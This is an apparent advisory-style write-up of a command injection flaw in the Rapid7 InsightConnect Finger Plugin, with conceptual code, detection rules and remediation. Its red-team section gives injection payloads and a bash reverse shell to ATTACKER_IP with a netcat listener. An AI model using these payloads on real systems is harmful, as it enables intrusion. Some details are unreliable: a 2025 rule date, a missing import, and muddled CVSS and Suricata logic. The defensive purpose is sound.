CVE-2026-8664

Executive Summary

CVE-2026-8664 is an OS Command Injection vulnerability in the Rapid7 InsightConnect Finger Plugin on Linux. The flaw allows authenticated attackers to execute arbitrary operating system commands via the user or host parameters due to insufficient input validation in shell command construction. With a CVSS score of 6.0 (Medium), this vulnerability requires authenticated access but can lead to full system compromise on affected Linux hosts. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for environments where the plugin is deployed. No public proof-of-concept or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.0 (Medium)
• Attack Vector: Local (AV:L) – requires local access to the system
• Attack Complexity: Low (AC:L) – no special conditions needed
• Privileges Required: High (PR:H) – attacker must be authenticated
• User Interaction: None (UI:N) – no user action required
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries
• Confidentiality Impact: High (C:H) – full data access possible
• Integrity Impact: High (I:H) – system files can be modified
• Availability Impact: High (A:H) – system can be rendered inoperable

Threat Level: Medium. While the CVSS score is moderate, the potential for full system compromise makes this a critical concern for organizations using the affected plugin.

Deep Dive & Mechanics

The vulnerability resides in the Rapid7 InsightConnect Finger Plugin, which is used for fingerprinting and reconnaissance tasks on Linux systems. The plugin constructs shell commands using user-supplied input for the user and host parameters. Due to insufficient input validation, an authenticated attacker can inject arbitrary OS commands by including shell metacharacters (e.g., ;, |, &, $(), backticks) in these parameters.

Root Cause: The plugin likely uses a function similar to system() or exec() to run commands like finger user@host without sanitizing the input. For example, a command might be constructed as:

finger $user@$host

If an attacker provides user as admin;id and host as localhost, the resulting command becomes:

finger admin;id@localhost

This executes id after the finger command, demonstrating command injection.

Attack Flow:

1. Attacker gains authenticated access to the InsightConnect platform.
2. Attacker triggers the Finger Plugin with malicious user or host parameters.
3. The plugin constructs a shell command with the injected payload.
4. The OS executes the injected commands with the privileges of the InsightConnect service (typically root or a high-privilege user).
5. Attacker achieves arbitrary command execution, potentially leading to full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def finger_user(user, host):
    command = f"finger {user}@{host}"
    result = subprocess.check_output(command, shell=True)
    return result

Patched Code (Conceptual):

import subprocess
import shlex

def finger_user(user, host):
    # Validate and sanitize input
    if not re.match(r'^[a-zA-Z0-9._-]+$', user) or not re.match(r'^[a-zA-Z0-9._-]+$', host):
        raise ValueError("Invalid input")
    command = ["finger", f"{user}@{host}"]
    result = subprocess.check_output(command, shell=False)
    return result

The patched version uses shell=False and validates input against a strict whitelist, preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Linux server running Rapid7 InsightConnect with Finger Plugin enabled.
• Attacker: Kali Linux with network access to the InsightConnect web interface.

Exploitation Steps:

1. Authenticate to the InsightConnect platform with valid credentials.
2. Navigate to the Finger Plugin configuration or execution interface.
3. In the user parameter, inject a command such as:

   admin;id
   

4. In the host parameter, provide a valid host (e.g., localhost).
5. Execute the plugin. The output will include the result of the id command.
6. For a reverse shell, use:

   user: admin;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   host: localhost
   

7. Set up a listener on the attacker machine: nc -lvnp 4444

Note: No public exploit code is available for this CVE. The above is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor for unusual command execution patterns in the InsightConnect logs, especially commands containing shell metacharacters.
2. Look for processes spawned by the InsightConnect service that include finger with suspicious arguments.
3. Use endpoint detection and response (EDR) tools to alert on finger commands with non-standard parameters.
4. Implement strict input validation and whitelisting for all plugin parameters.

Hunting Queries:

• Search for finger commands in process creation logs that contain ;, |, &, $(), or backticks.
• Monitor for outbound network connections from the InsightConnect server to unknown IPs on common reverse shell ports (e.g., 4444, 1337).

Indicators of Compromise (IOCs)

• Process Creation: finger command with shell metacharacters in arguments
• Network Connections: Outbound connections from InsightConnect server to attacker-controlled IPs on high ports
• File System: Unexpected files created in /tmp/ or /var/tmp/ by the InsightConnect user
• Log Entries: InsightConnect logs showing user or host parameters containing ;, |, &, $(), or backticks
• Command History: Shell history showing commands like finger admin;id@localhost

Detection Engineering

YARA Rule

rule CVE_2026_8664_Command_Injection {
    meta:
        description = "Detects command injection attempts in Rapid7 InsightConnect Finger Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-8664"
    strings:
        $cmd1 = /finger\s+[^@]*[;&|`$()][^@]*@/
        $cmd2 = /finger\s+[^@]*@[^;]*[;&|`$()]/
        $cmd3 = /finger\s+.*\$\{.*\}.*@/
        $cmd4 = /finger\s+.*`.*`.*@/
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-8664 - Rapid7 InsightConnect Finger Plugin Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via the Finger plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/finger'
        CommandLine|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of finger with unusual but safe parameters
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-8664 - Rapid7 InsightConnect Finger Plugin Command Injection"; flow:to_server,established; content:"finger"; nocase; pcre:"/finger\s+[^@]*[;&|`$()][^@]*@/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Finger Plugin if not essential for operations.
2. Restrict access to the InsightConnect platform to only trusted users.
3. Implement network segmentation to limit the impact of a compromised InsightConnect server.

Long-term Fixes:

1. Apply vendor patch when available (currently UNKNOWN).
2. Upgrade to a patched version of the Finger Plugin.
3. Implement input validation and sanitization for all plugin parameters.
4. Use parameterized commands or APIs instead of shell command construction.

Workarounds:

• Use a web application firewall (WAF) to filter malicious input.
• Monitor and alert on suspicious finger command execution.
• Implement least privilege for the InsightConnect service account.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert